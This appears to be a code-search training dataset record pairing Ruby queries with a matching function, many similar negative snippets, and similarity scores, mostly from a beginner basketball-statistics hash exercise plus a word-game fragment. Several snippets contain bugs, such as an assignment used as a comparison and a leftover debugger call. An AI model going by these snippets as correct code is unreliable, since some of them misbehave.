"0.72991544",
"0.7297324",
"0.72791773",
"0.72567606",
"0.72518915",
"0.72518915",
"0.72483575",
"0.7247425",
"0.72391355",
"0.72383016",
"0.72362566",
"0.722734",
"0.7225785",
"0.72231096",
"0.7213649",
"0.72079736",
"0.71955556",
"0.7183011",
"0.71736866",
"0.71689963",
"0.71626467",
"0.7136649",
"0.71349144",
"0.7134131",
"0.7125589",
"0.71228117",
"0.7112683"
] |
0.7128942
|
97
|
def player_stats(name) game_hash[:home][:players].collect do |ke,va| if ke == name return va end end game_hash[:away][:players].collect do |k,v| if k == name return v end end end
|
def big_shoe_rebounds
new_array = []
size = 0
rebounds = 0
game_hash.each do |side, value|
value[:players].each do |name, stats|
if stats[:shoe] > size
size = stats[:shoe]
rebounds = stats[:rebounds]
new_array[0] = name
new_array[1] = stats[:shoe]
new_array[2] = stats[:rebounds]
end
end
end
return new_array.last
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def player_stats(player_name)\n game_hash.each do |side, value|\n value[:players].each do |name, stats|\n\n if name == player_name\n return stats\n end\n\n end\n end\nend",
"def all_stats_for_player(name, game)\n game[:home_team][:players].each do |player_hash|\n return player_hash[:stats] if player_hash[:player_name] == name\n end\n game[:away_team][:players].each do |player_hash|\n return player_hash[:stats] if player_hash[:player_name] == name\n end\nend",
"def player_stats(name)\n# player_stats start at nil (nothing)\n player_stats = nil\n# game_hash.each do |home_away, team_info| iterates over the hash to return all player_stats\n game_hash.each do |home_away, team_info|\n team_info.each do |data_label, data|\n if data_label == :players\n data.each do |player_name, stats|\n if player_name == name\n player_stats = stats\n end\n end\n end\n end\n end\n player_stats\nend",
"def player_stats(player_name)\n game_hash.each do |place, team|\n team[:players].each do |player|\n if player[:player_name] == player_name\n return player\n end\n end\n end\n end",
"def player_stats(player_name)\n result = {}\n game_hash.each do |team, about|\n about[:players].each do |name, stats|\n if player_name == name\n result = stats\n end\n end\n end\n result\nend",
"def player_stats(player_name)\n player_name_stats = nil\n game_hash.select do |team, team_stats|\n team_stats[:players].select do |player_stats|\n if player_stats[:player_name] == player_name\n player_name_stats = player_stats\n end\n end\n end\n player_name_stats\nend",
"def player_stats(name)\n stats = {}\n game_hash.each do |team, team_data|\n team_data[:players].each do |data, output|\n if data == name \n stats = output\n end\n end\n end\n stats\nend",
"def player_stats(player_name)\n game_hash.each do |location, data|\n data[:players].each do |player, data_items|\n return data_items if player == \"#{player_name}\"\n end\n end\nend",
"def player_stats(name)\n hash = game_hash\n hash.each do |location, attributes| \n attributes.each do |attribute, info| \n if info.include?(name) \n return hash[location][attribute][name]\n end\n end\n end\nend",
"def player_stats(player_name)\n game_hash.each do |location, team_data|\n team_data.each do |attribute, values|\n if attribute == :players\n values.each do |person, data|\n if person.to_s == player_name\n return game_hash[location][:players][person]\n end\n end\n end\n end\n end\nend",
"def player_stats(player_name)\n player_stats = {}\n \n game_hash.each do |key, value|\n players = value[:players]\n players.each do |element|\n if player_name == element[:player_name]\n player_stats = element\n end\n end\n end\n player_stats\nend",
"def player_stats(player_name)\n player_stats = {}\n game_hash.each do |team, all_info_hash|\n all_info_hash[:players].each do |stats|\n if stats[:player_name] == player_name\n player_stats = stats\n end\n end\n end\n player_stats\nend",
"def player_stats(player_name)\nplayer_stats = {}\n game_hash.each do |location, attributes|\n attributes[:players].each do |player, stats|\n if player == player_name\n player_stats = stats\n end\n end\n end\n player_stats\nend",
"def player_stats(player)\n game_hash.each do |location, team_data|\n team_data[:players].each do |name, stats|\n if name.to_s == player\n return stats\n end\n end\n end\nend",
"def player_stats(player_name)\n result = {}\n game_hash.each do |side,team|\n team.each do |specs,info|\n if specs == :players\n\n info.each do |player|\n if player[:player_name] == player_name\n result = player\n result.delete(:player_name)\n end\n end\n end\n end\n end\n result\nend",
"def player_stats(player_name)\n stat_hash = {}\n game_hash.keys.each do |location|\n if game_hash[location][:players][player_name]\n return game_hash[location][:players][player_name]\n end\n end\nend",
"def points_scored_for_player(name,game)\n game[:home_team][:players].each do |player_hash|\n return player_hash[:stats][:points] if player_hash[:player_name] == name\n end\n game[:away_team][:players].each do |player_hash|\n return player_hash[:stats][:points] if player_hash[:player_name] == name\n end\nend",
"def player_stats(name=\"Jeff Adrien\")\n player_stats={}\n if(game_hash[:home][:players].keys.include?(name))\n player_stats= game_hash[:home][:players][name]\n elsif (game_hash[:away][:players].keys.include?(name))\n player_stats = game_hash[:away][:players][name]\n else\n player_stats\n end\nend",
"def player_stats(player_name)\n game_hash.each do |location, team_data|\n team_data.each do |attributes, data|\n if attributes == :players\n data.each do |data_item|\n if player_name == data_item[:player_name]\n return data_item\n end\n end\n end\n end\n end\nend",
"def player_stats(player_name)\n player_stats = []\n game_hash.collect do |team_key, team_value|\n team_value[:players].each do |stats|\n if stats[:name] == player_name\n stats.delete(:name)#deletes name to keep in same formart ask for in test.\n player_stats = stats\n end\n end\n end\n player_stats\nend",
"def player_stats(player)\n game_hash.each do |team, team_info|\n team_info.each do |keys, values|\n if keys == :players \n values.each do |stats|\n if player == stats[:player_name]\n return stats\n end\n end\n end\n end\n end\nend",
"def player_stats(player)\n game_hash.each do |k, team|\n team[:players].each do |e|\n if e[:player_name] == player\n return e\n end\n end\n end\nend",
"def player_stats(player)\n game_hash.each do |location, team_info_hash|\n # location = :home,:away; players_hash = :team_name, :colors, :players\n team_info_hash[:players].each do |player_name, player_info_hash|\n # player_name = \"Jeff Adrian\" ect., player_info_hash = :number, :shoe, :points, :rebounds, :assists, :steals, :blocks, :slam_dunks\n if player_name == player\n return player_info_hash\n end\n end\n end\nend",
"def points(name)\n \n consolidated_player_list = game_hash[:home][:players] + game_hash[:away][:players]\n consolidated_player_list\n player_stat_hash = {}\n\n consolidated_player_list.each do |player|\n key = player[:player_name]\n player_stat_hash[key] = player\n end\n\n points = 0\n player_stat_hash.each do |player|\n points = player[1][:points] if player[0] == name\n end\n points\nend",
"def player_stats(name)\n players = players_stats(game_hash)\n \n players.each_pair do |player, stats|\n if player == name\n \n # Fix code to pass the LEARN test\n stats.delete(:player_name)\n \n return stats\n end\n end\n nil\nend",
"def player_stats(player_name)\n player_stats = []\n game_hash.each do |location, keys|\n keys[:players].each do |player_info|\n if player_info[:player_name] == player_name\n player_info.delete(:player_name)\n player_stats<< player_info\n end \n end\n end\n player_stats[0]\n #binding.pry\nend",
"def player_stats(name_input)\n game_hash.each do |location, team|\n team.each do |category, data|\n if category == :players\n data.find do |name|\n if name[:player_name] == name_input\n p name.reject { |key,value| key == :player_name }\n end\n end\n end\n end\n end\nend",
"def player_stats(name)\n players[name]\nend",
"def player_stats(player_name)\n stats = {}\n player_data.each do |player|\n if player_name == player[:player_name]\n stats[:number] = player[:number]\n stats[:shoe] = player[:shoe]\n stats[:points] = player[:points]\n stats[:rebounds] = player[:rebounds]\n stats[:assists] = player[:assists]\n stats[:steals] = player[:steals]\n stats[:blocks] = player[:blocks]\n stats[:slam_dunks] = player[:slam_dunks]\n end\n end\n return stats\nend",
"def num_points_scored(player_name)\n game_hash.each do |home_or_away, team_values|\n team_values[:players].each do |player|\n if player[:player_name] == player_name \n return player[:points]\n end\n end \n end \nend",
"def player_stats(player_name, hashketball)\r\n player_name.capitalize!\r\n if hashketball[:home][:players].include?(player_name)\r\n hashketball[:home][:players][player_name][:stats]\r\n elsif hashketball[:away][:players].include?(player_name)\r\n hashketball[:away][:players][player_name][:stats]\r\n else\r\n \"No player found.\"\r\n end\r\nend",
"def iterate_through_players_for(name, statistic)\n game_hash.each do |team, game_data|\n \n game_data[:players].each do |player|\n if player[:player_name] == name\n \n return player[statistic]\n end\n end\n end\nend",
"def player_stats(playername)\n\nif game_hash[:away][:players][playername]\n game_hash[:away][:players][playername]\nelse\n game_hash[:home][:players][playername]\n\nend\nend",
"def iterate_through_players_for(name, statistic)\n game_hash.each do |_team, game_data|\n game_data[:players].each do |player|\n return player[statistic] if player[:player_name] == name\n end\n end\nend",
"def player_stats(playerName)\n players[playerName]\nend",
"def num_points_scored(player_name)\n result = nil\n game_hash.each do |team, about|\n about[:players].each do |name, stats|\n if player_name == name\n result = stats[:points]\n end\n end\n end\n result\nend",
"def num_points_scored (name)\n gh=game_hash\n gh.each do |team, stats|\n stats[:players].each_key do |nameval|\n if (nameval==name)\n return gh[team][:players][nameval][:points]\n end\n end\n end\nend",
"def num_points_scored(name)\n points = nil\n hash_of_players = {}\n game_hash.each do |location, elements|\n hash_of_players = elements[:players]\n hash_of_players.each do |player, stats|\n if player == name\n points = hash_of_players[player][:points]\n end\n end\n end\n points\nend",
"def player_stats(name)\n all_players.find do |player|\n player[:player_name] == name\n end\nend",
"def num_points_scored(player_name)\n player_points = nil\n game_hash.each do |team, team_stats|\n team_stats[:players].each do |player_stats|\n if player_stats[:player_name] == player_name\n player_points = player_stats[:points]\n end\n end\n end\n player_points\nend",
"def one_team_stats(team_name)\n game_hash.each do |home_or_away, team_stats|\n if team_stats[:team_name] == team_name\n return team_stats\n end\n end\nend",
"def player_stats(player_name)\n player_stat = {}\n game_hash.each do |team,info|\n info.each do |team_info,team_data|\n if team_data.is_a? (Array) \n if team_info != :colors\n team_data.each do |player_index|\n if player_index[:player_name] == player_name\n player_stat = player_index\n end\n end\n end\n end\n end\n end\n player_stat\nend",
"def num_points_scored(name)\n game_hash.each do |location, attributes|\n attributes[:players].each do |player, stats|\n if player == name\n return stats[:points]\n end\n end\n end\nend",
"def num_points_scored(name)\n # However, our data is different.\n\n # Given that we have :home and :away, each being a hash with a :players key\n # that is now an array of player hashes (name included), we cannot do this\n # anymore to get the matching player:\n # game_hash[:home][:players][name]\n\n\n # If you it out with binding.pry, you'll get this error:\n # TypeError: no implicit conversion of String into Integer\n # That's because game_hash[:home][:players] is an array and trying to use\n # [name] on it won't work as that would be how you try to access a value\n # in array based on it's position (name is a string, not an integer).\n\n\n # So what do we want to do here?\n # 1. write out what I want to do here\n # 2. write out the ideal code for this\n\n # Let's break it down into steps:\n # 1. get an array of all the players\n # 2. loop through that array and pick out the one whose name matches\n # 3. get the points for that player\n\n # Let's write out our ideal code for accomplishing this:\n players = get_all_players\n player = find_player(players, name)\n player[:points]\nend",
"def player_numbers(team_name)\n result = []\n game_hash.each do |team, about|\n if team_name == about[:team_name]\n about[:players].each do |name, stats|\n result << stats[:number]\n end\n end\n end\n result\nend",
"def num_points_scored(player_name)\n\n game_hash.each do |team, team_data|\n team_data[:players].each do |player|\n if player[:player_name] == player_name\n return player[:points]\n end\n end\n end\n\n # SOLUTION 3\n # get a list of all the players\n # all_players = game_hash.values.collect do |team|\n # team[:players]\n # end.flatten\n\n # find the player whose name matches the argument 'player_name'\n # return that player's points\n # all_players.each do |player|\n # return player[:points] if player[:player_name] == player_name\n # end\nend",
"def num_points_scored(name)\n game_hash.each do |team, attributes|\n game_hash[team][:players].each do |player, stats|\n if name == player \n return game_hash[team][:players][name][:points]\n end\n end\n end\nend",
"def all_players_for_a_team(team_name, game)\n player_names = []\n game[:home_team][:players].each do |player_hash|\n player_names << player_hash[:player_name] if game[:home_team][:team_name] == team_name\n end\n game[:away_team][:players].each do |player_hash|\n player_names << player_hash[:player_name] if game[:away_team][:team_name] == team_name\n end\n player_names\nend",
"def num_points_scored(player_name)\n game_hash.each do |location, team_data|\n team_data[:players].each do |data_item, stats|\n if data_item == player_name\n return stats[:points]\n end\n end\n end\nend",
"def num_points_scored(name)\n game_hash().each do |location, team_data|\n team_data[:players].each do |player_name, player_stat|\n if name == player_name\n return player_stat[:points]\n end\n end\n end\nend",
"def player_stats (player_name)\n lookup_by_player(player_name);\nend",
"def num_points_scored(name)\n answer = nil\n game_hash.each do |team_key,team_value|#iterate down one level\n players_stats = team_value[:players]#set the \"value\" for players to a variable\n players_stats.each do |players_details|\n if players_details[:name] == name #compares the value at \"key:name\" to the argument name\n answer = players_details[:points]#selects value at \"key:points\" to variable answer\n end\n end\n end\n answer\nend",
"def num_points_scored (searched_player)\n player_points = 0\n game_hash[:away][:players].each do |player_data|\n if player_data[:player_name] == searched_player\n player_points = player_data[:points]\n end\n end\n game_hash[:home][:players].each do |player_data|\n if player_data[:player_name] == searched_player\n player_points = player_data[:points]\n end\n end\n player_points\nend",
"def num_points_scored(name)\n game_hash.each do |place, team|\n\n team.each do | atribute , data|\n \n if atribute == :players\n data.each do |player|\n # binding.pry\n if player[:player_name ] == name\n return player[:points]\n end\n end\n end\n end\n end\nend",
"def player_stats(name)\nhome = game_hash[:home][:players][name]\naway = game_hash[:away][:players][name]\n\nif home != nil\n home\n else\n away\nend\nend",
"def player_stats(name)\n statistics = {}\n #top level\n game_hash.each do |location, team_data|\n game_hash[location][:players].each do |all_players|\n all_players.each do |player_name,stats|\n if player_name == name\n statistics = stats.delete_if do |category, val|\n category == :player_name\n end\n end\n end\n end\n end\n statistics\nend",
"def num_points_scored(player_name)\n# we use .each do |team, random| to iterate over each piece of data to expose specific data, in this case number of points scored by each player, within the above hash\n# and we use symbols (with one object id) to take up less memory\n game_hash.each do |team, random|\n game_hash[team][:players].each do |name, stats|\n if player_name == name\n return stats[:points]\n# then we want to return the number of points scored for each player if player_name is equal to the key of name\n\n end\n end\n end\n\nend",
"def player_numbers (name=\"Brooklyn Nets\")\n n = []\n game_hash.each do |location, team_data|\n if(team_data[:team_name] == name)\n team_data[:players].each do |key, data|\n n << data[:number]\n end\n end\n end\n\n n\nend",
"def num_points_scored(player)\n game_hash.each do |location, team|\n team[:players].each do |name, stats|\n if name == player\n return stats[:points]\n end\n end\n end\nend",
"def num_points_scored(name)\n # 1. write out what I want to do here\n # 2. write out the ideal code for this\n\n ## Version 2.0 ##\n\n # 1. get all of the player hashes\n players = get_all_players\n # some imaginary method that will give us all the players from both teams\n\n # 2. get the player's data who matches the given name\n player_data = players[name]\n # since the keys are the player names, we can get the player's data\n # out of the hash by accessing it like this\n\n # 3. get the points from that data\n player_data[:points]\n # finally, with the player_data, we can grab out just the value we want\n # and return it (points)\nend",
"def num_points_scored(name)\n points_scored = nil\n game_hash.each do |home_or_away, team_details|\n team_details[:players].each do |one_hash| # one_hash is an array\n one_hash.each do |key1,value1|\n if one_hash.has_value? (name)\n points_scored = one_hash[:points]\n end\n end\n end\n end\n points_scored\nend",
"def num_points_scored(player_name)\ngame_hash.values.each do |team|\n team[:players].each do |player|\n return player[:points] if player.has_value?(player_name)\n end\n end\nend",
"def num_points_scored(player_name)\npoints_scored = 0\ngame_hash.each do |location, team_data|\n team_data.each do |attribute, data|\n if attribute == :players\n data.each do |player, stats|\n if player == player_name\n points_scored = stats[:points]\n end\n end\n end\n end\nend\npoints_scored\nend",
"def winning_team\n home_points = 0\n away_points = 0\n result = \"\"\n i = 0\n game_hash.each do |team, about|\n about[:players].each do |name , stats|\n if i == 0\n home_points += stats[:points]\n else\n away_points += stats[:points]\n end\n end\n i += 1\n end\n home_points > away_points ? result = game_hash[:home][:team_name] : result = game_hash[:away][:team_name]\nend",
"def num_points_scored(players_name)\n game_hash.each do |place, team|\n team.each do |attr, data|\n if attr == :players\n data.each do |player|\n if player[:player_name] == players_name\n return player[:points]\n end\n end\n end\n end\n end\nend",
"def num_points_scored(name)\n game_hash.each do | team, team_data_hash |\n team_data_hash.each do | attribute, data |\n if attribute == :players\n data.each do | player, player_data_hash |\n if player == name\n return game_hash[team][attribute][player][:points]\n end\n end\n end\n end\n end\nend",
"def player_numbers(name_of_team)\n #built an empty array called numbers\n numbers = []\n # game_hash.each do |team, random| iterates over the hash to return all player numbers\n game_hash.each do |team, random|\n if name_of_team == game_hash[team][:team_name]\n game_hash[team][:players].each do |name, stats|\n numbers.push(stats[:number])\n end\n end\n end\n return numbers\nend",
"def num_points_scored(player_name)\n game_hash.each do |location, team_data|\n team_data[:players].each do |attributes|\n if attributes[:player_name] == player_name\n return attributes[:points]\n end\n end\n end\nend",
"def num_points_scored(player_name)\n player_points = nil\n \n game_hash.each do |location, team_data|\n team_data.each do |ind_data, attributes|\n if attributes.class == Hash \n if attributes.keys.include?(player_name)\n player_points = attributes[player_name][:points]\n end\n end\n end\n end\n player_points\nend",
"def num_points_scored(player_name)\n game_hash.each do |location, keys|\n keys[:players].each do |player|\n return player[:points] if player[:player_name] == player_name\n end\n end\nend",
"def shoe_size(player)\n out=\"no player\"\n x= game_hash[:home][:players]\n x.each do |playa|\n #this is where the players are listed and his stats\n out = playa[:shoe] if playa[:player_name]==player\n # playa.each do |key,value|\n # puts \"This is the key #{key} and this is the value #{value}\"\n # out=value if player=key\n # end\n end\n y= game_hash[:away][:players]\n y.each do |playa,stats|\n out = playa[:shoe] if playa[:player_name]==player\n end\n out\nend",
"def num_points_scored (player_name)\n game_hash.each do |place_name, team|\n \n team[:players].each do |player|\n \n if player[:player_name] == player_name\n return player[:points]\n end\n \n end\n \n end\nend",
"def winning_team\n home_team_sum = 0\n away_team_sum = 0\n game_hash.each do |team, team_stats|\n if team_stats[:team_name] == \"Brooklyn Nets\"\n team_stats[:players].each do |player_stats|\n home_team_sum += player_stats[:points]\n end\n elsif team_stats[:team_name] == \"Charlotte Hornets\"\n team_stats[:players].each do |player_stats|\n away_team_sum += player_stats[:points]\n end\n end\n end\n if home_team_sum > away_team_sum\n game_hash[:home][:team_name]\n elsif home_team_sum < away_team_sum\n game_hash[:away][:team_name]\n end\nend",
"def num_points_scored(player_name)\n points_scored = \"\"\n \n game_hash.each do |key, value|\n players = value[:players]\n players.each do |element|\n if player_name == element[:player_name]\n points_scored = element[:points]\n end\n end\n end\n points_scored\nend",
"def num_points_scored(player_name)\n game_hash.each do |side, team|\n team.each do |specs, info|\n if specs == :players\n\n info.each do |player|\n if player[:player_name] == player_name\n return player[:points]\n end\n end\n end\n end\n end\nend",
"def player_numbers(team_name)\n team_numbers = nil\n game_hash.map do |team, team_stats|\n if team_stats[:team_name] == team_name\n team_numbers = team_stats[:players].map do |player_stats|\n player_stats[:number]\n end\n end\n end\n team_numbers\nend",
"def num_points_scored(name)\n output = 0\n game_hash.each {|location, team_data| #do I need to use multiple 'collect's as I navigate down a nested hash? If not, does it mater which level I use 'collect on?'\n team_data.each {|attribute, data|\n if attribute == :players\n data.each {|player_name, stat_list|\n if player_name == name\n stat_list.each {|stats, values|\n if stats == :points\n output = values\n end\n }\n end\n }\n end\n }\n }\n output\nend",
"def team_names\n team_names = []\n game_hash.each do |home_or_away, team_stats|\n team_names << team_stats[:team_name]\n end\n team_names\nend",
"def players\n all_players = {}\n game_hash.each do |home_or_away, team_stats|\n all_players.merge!(team_stats[:players])\n end\n all_players\nend",
"def points_per_player(player, hashketball)\r\n player.capitalize!\r\n if hashketball[:home][:players].include?(player)\r\n hashketball[:home][:players][player][:stats][:points]\r\n elsif hashketball[:away][:players].include?(player)\r\n hashketball[:away][:players][player][:stats][:points]\r\n else\r\n \"No player found.\"\r\n end\r\nend",
"def num_points_scored(player)\n #iterate through game_hash to player_name\n game_hash.each do |team , team_dets|\n team_dets[:players].each do |dets|\n dets.each do |key, value|\n if dets[:player_name] == player\n return dets[:points]\n end\n end \n end\n end \nend",
"def num_points_scored (name)\n points_scored = 0\n game_hash.each do | team, details_hash |\n players_array = details_hash[:players]\n\n players_array.each do | player_details_hash |\n\n if player_details_hash[:player_name] == name\n points_scored = player_details_hash[:points]\n end\n end\n end\n points_scored\nend",
"def num_points_scored(player_name)\n game_hash.each do |location, team_data|\n team_data.each do |attribute, data|\n if attribute == :players\n if data.keys.include?(player_name)\n return data[player_name][:points]\n end\n end\n end\n end\nend",
"def num_points_scored(name)\n ## Version 2.0 ##\n\n # 1. get all of the player hashes\n players = get_all_players\n # 2. get the player's data who matches the given name\n player_data = players[name]\n # 3. get the points from that data\n player_data[:points]\nend",
"def num_points_scored (player_name)\n game_hash.each do |place_name, team|\n \n team[:players].each do |player|\n \n if player[:player_name] == player_name\n return player[:points]\n end\n \n end\n \n end\n\n nba_match\nend",
"def num_points_scored(player_name)\n game_hash.values.each do |roster|\n roster[:players].each do |player|\n return player[:points] if player.has_value?(player_name)\n end\n end\nend",
"def num_points_scored(player_name)\n this_player = player_name\n game_hash.each do |team, team_data|\n team_data[:players].each do |player_name, player_data|\n if player_name == this_player\n return player_data[:points]\n #over thought it, got stuck too long.\n end\n end\n end\n end",
"def num_points_scored (player_name)\n points_scored = nil\n\n game_hash.each do |team, team_information_hash|\n players_array = team_information_hash[:players]\n players_array.each do |player_information_hash|\n if player_information_hash[:player_name] == player_name\n points_scored = player_information_hash[:points]\n end\n end\n end\n points_scored\nend",
"def winning_team\n points_home = 0\n points_away = 0\n result = \"\"\n\n game_hash.each do |side,team|\n team.each do |specs,info|\n if specs == :players\n info.each do |player|\n if side = :home\n points_home += player[:points]\n else\n points_away += player[:points]\n end\n end\n end\n end\n end\n if points_home > points_away\n result = game_hash[:home][:team_name]\n else\n result = game_hash[:away][:team_name]\n end\n result\nend",
"def player_numbers(team)\n player_numbers = []\n game_hash.each do |location, attributes|\n if attributes[:team_name] == team\n attributes[:players].each do |player, stats|\n player_numbers << stats[:number]\n end\n end\n end\n player_numbers\nend",
"def num_points_scored(player_name)\n points = nil\n game_hash.each do |location, team_data|\n team_data[:players].each do |name, stats|\n binding.pry\n if name == player_name\n points = team_data[:players][player_name][:points]\n end\n end\n end\n points\n end",
"def num_points_scored(player_name)\n # if you were trying to explain this to someone in prework\n # who's stuck in hashketball, how would you explain how to do this?\n\n # find the num points scored as it relates to the name\n # we have all_players array\n # each value in all players has a smaller value that is the name of the player\n # that is also connected to the number of points they scored\n # find a way to sort the method / just find the value of points attributed to that name\n\n # hash of teams\n # visit each team\n # ask them for the player name list\n # check the list for the name\n # if i find it, then I have their points\n # I would return their points\n\n # argument pass in each player\n # try to return the amount of points associated with that player\n\n # pseudocode\n\n # i want all the players first <= simplify it ideally\n # home_players = game_hash[:home][:players]\n # away_players = game_hash[:away][:players]\n # all_players = home_players + away_players\n\n # so i can look through them\n # .each with an if\n # search, find, gofish\n # array of hashes\n # found_player = all_players.find do |player| # Hash\n # # find the player that matches the name\n # # binding.pry\n # # if player[:player_name] == player_name\n # # true\n # # else\n # # false\n # # end\n # player[:player_name] == player_name\n # end\n\n # get the points for that player\n found_player(player_name)[:points]\nend",
"def num_points_scored(player_name)\n\ngame_hash.each do |location, team_data|\n team_data.each do |attribute, values|\n if attribute == :players\n values.each do |person, data|\n if person.to_s == player_name\n return game_hash[location][:players][person][:points]\n end\n end\n end\n end\n end\nend",
"def num_points_scored(name)\n #1st level\n game_hash.each do |location, team_data|\n #2nd level\n team_data.each do |attribute, data|\n if attribute == :players\n data.each do |player|\n player.each do |p_name, data|\n #data.each do |k,v|\n #binding.pry\n if data[:player_name] == name\n return data[:points]\n end\n end\n end\n end\n end\n end\nend",
"def num_points_scored(player)\n game_hash.each do |k, team|\n team[:players].each do |e|\n if e[:player_name] == player\n return e[:points]\n end\n end\n end\nend",
"def player_numbers(team_name)\n jersey_numbers = []\n game_hash.keys.each do |location|\n next unless game_hash[location][:team_name] == team_name\n\n game_hash[location][:players].keys.each do |name|\n jersey_numbers.push(game_hash[location][:players][name][:number])\n end\n end\n jersey_numbers\nend",
"def player_numbers(team_name)\n jersey_nums = []\n game_hash.each do |location, data|\n if data[:team_name] == \"#{team_name}\" #found match\n data[:players].each do |player, value|\n jersey_nums << value[:number]\n end\n end\n end\n jersey_nums\nend",
"def team_names\n game_hash.collect {|home_or_away, stats| team_name = stats[:team_name].to_s}\nend",
"def player_stats(selected_player)\n game_hash.values.each do |roster|\n roster[:players].each do |player|\n if player.has_value?(selected_player)\n player.delete(:player_name)\n return player\n end\n end\n end\nend",
"def num_points_scored(player)\n \n data = game_hash\n player_hash = players_stats(data)\n \n player_hash.each_pair do |name, player_stat|\n \n if name == player\n player_stat.each_pair do |player_key, player_value|\n if player_key == :points\n return player_value\n end\n end\n end\n \n end\n \n nil\nend",
"def shoe_size(player_name)\n result = nil\n game_hash.each do |team, about|\n about[:players].each do |name, stats|\n if player_name == name\n result = stats[:shoe]\n end\n end\n end\n result\nend"
] |
[
"0.8928426",
"0.8891636",
"0.88884217",
"0.88279295",
"0.877949",
"0.8758135",
"0.87192523",
"0.8681998",
"0.86585397",
"0.86573666",
"0.8621141",
"0.86071295",
"0.85996675",
"0.8547762",
"0.8547755",
"0.8535157",
"0.85081875",
"0.8502993",
"0.8498725",
"0.8436477",
"0.84205914",
"0.84168893",
"0.83719623",
"0.83642846",
"0.83444536",
"0.83250445",
"0.82650226",
"0.8224605",
"0.81873643",
"0.8123796",
"0.8112463",
"0.8108156",
"0.80972373",
"0.80406654",
"0.80177176",
"0.8008318",
"0.80039793",
"0.79696137",
"0.7965655",
"0.79625416",
"0.7960251",
"0.7950787",
"0.7933133",
"0.79271394",
"0.79219145",
"0.79196936",
"0.7897236",
"0.78836256",
"0.78781277",
"0.78604376",
"0.785952",
"0.78468025",
"0.7823001",
"0.7821142",
"0.7813479",
"0.7806437",
"0.7797773",
"0.77938175",
"0.778644",
"0.77795833",
"0.7773339",
"0.7753068",
"0.7722092",
"0.77131087",
"0.7712089",
"0.7708308",
"0.7691412",
"0.76778245",
"0.767605",
"0.7675998",
"0.766727",
"0.7662023",
"0.76534045",
"0.7651835",
"0.7648866",
"0.7645677",
"0.7641294",
"0.7635162",
"0.7634218",
"0.7625278",
"0.7617472",
"0.7611304",
"0.76097727",
"0.759526",
"0.75924337",
"0.7587605",
"0.7581947",
"0.7570945",
"0.7566068",
"0.7554001",
"0.7542772",
"0.75412136",
"0.7537539",
"0.75281936",
"0.7520267",
"0.7514137",
"0.7504695",
"0.7501583",
"0.75014675",
"0.7501222",
"0.749189"
] |
0.0
|
-1
|
playing one round of game till the word is not found in the dictionary
|
def play_round
until dictionary.include?(fragment) && fragment != ""
puts "Current player : #{current_player.name}"
add_letter(current_player)
print "Current fragment of a word: "
puts "'#{fragment}'".green
next_player!
end
if losses[previous_player] + 1 == "ghost".length
puts "#{previous_player.name} it's a ghost and lost this game!".red.bold
else
puts "#{previous_player.name} lost this round!".red.bold
end
losses[previous_player] += 1
@fragment = ""
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def play\n while @tries.positive?\n print_guesses_remaining\n print_used_letters\n print_word\n\n input = scan_letter\n\n result = process_letter(input)\n\n if %w[save exit].include? result\n process_forced_exit(result)\n return\n end\n\n next unless win?\n\n print_word\n puts 'You won!'.green\n return\n end\n\n puts \"You lost! The word was #{@key}\".red\n end",
"def check_player_words(player_guess_word)\n word.chomp.chars.each_with_index{\n |item, index|\n if item == player_guess_word.chomp.chars[index].to_s # exactly equal and in the same postion\n result = \"Exact\"\n elsif word.chomp.include?(player_guess_word.chars[index].to_s) # just includes the letter\n result = \"Near\"\n else # other condition that either not exact nor includes is.\n result = \"Miss\"\n end\n sleep(SLEEP_TIME) # just stop for a time make a good user experience\n puts \"Letter: #{player_guess_word.chars[index]} : #{result}\"\n }\n end",
"def play_round #this is a single round \n self.dictionary\n @fragment = \"\"\n round_over = false\n\n while round_over == false\n player = self.current_player\n if self.take_turn(player) == true\n round_over = true\n else\n self.next_player!\n end\n end\n\n puts \"Round is over! Word spelt: #{@fragment}\"\n puts \"STANDINGS:\"\n puts \"#{self.record(self.current_player.name)}\"\n puts \"#{self.record(self.previous_player.name)}\"\n puts \"__________________________________________________\"\n puts \"__________________________________________________\"\n puts \"__________________________________________________\"\n puts \"\"\n end",
"def start_game\n dictionary = File.readlines(\"dictionary.txt\")\n secret_word = get_word(dictionary).split(\"\")\n word = secret_word.map { |x| x = \"_\" }\n game_status = {\n secret_word: secret_word,\n word: word,\n incorrect_guesses: [],\n images: ['\n +---+\n | |\n | \n | \n | \n | \n ==========', '\n +---+\n | |\n | O \n | \n | \n | \n ==========', '\n +---+\n | |\n | O \n | | \n | \n | \n ==========', '\n +---+\n | |\n | O \n | /| \n | \n | \n ==========', '\n +---+ \n | | \n | O \n | /|\\ \n | \n | \n ==========', '\n +---+ \n | | \n | O \n | /|\\ \n | / \n | \n ==========', '\n +---+ \n | | \n | O \n | /|\\ \n | / \\ \n | \n ==========']\n }\n end",
"def reset_game\n\t\t\t@word = @@dictionary.sample.downcase[0..-3] #strips away \\r and \\n characters\n\t\t\t@guesses = 5\n\t\t\t@guess_map = Array.new(@guesses) {false}\n\t\t\t# puts @guess_map\n\t\tend",
"def game_loop(game, word)\n game.update_screen(word)\n\n until game.correct_positions.all? { |position| position == true }\n special_result = game.read_and_validate_input(word)\n break if special_result == 'QUIT'\n\n if special_result == 'SAVE'\n game.save_game(word)\n break\n end\n\n if special_result == 'WORD'\n correct = game.guess_word(word)\n if correct\n puts \"\\n\\nCongratulations! You won!\"\n game.update_screen(word, true)\n break\n else\n puts \"\\nYou were wrong :(\"\n game.update_screen(word)\n next\n end\n end\n\n if special_result == 'GAMEOVER'\n puts \"\\n\\nYour man has fallen to his doom :(\"\n puts \"The Word was #{word}\\n\"\n puts 'Game over..'.red\n break\n end\n\n system('clear')\n game.update_screen(word)\n end\nend",
"def in_game\n\t\t\n\t\tsession[:count] -= 1\n\t\tif @word.include? @input\n\t\t\t@word.each_with_index do |e,i|\n\t\t\t\tif e == @input\n\t\t\t\t\t@word_display_array[i] = \" #{e} \"\n\t\t\t\tend\n\t\t\tend\n\t\t\n\t\telsif @input == @word.join\n\t\t\tsession[:win] = true\n\t\tend\n\t\tcheck_game_over\n\t\t\n\tend",
"def isolate(word)\n if @games.dict[word]\n @games.dict[word].isolate!\n @dict_adjustments.puts(\"!i #{msg}\")\n @dict_adjustments.flush\n end\n end",
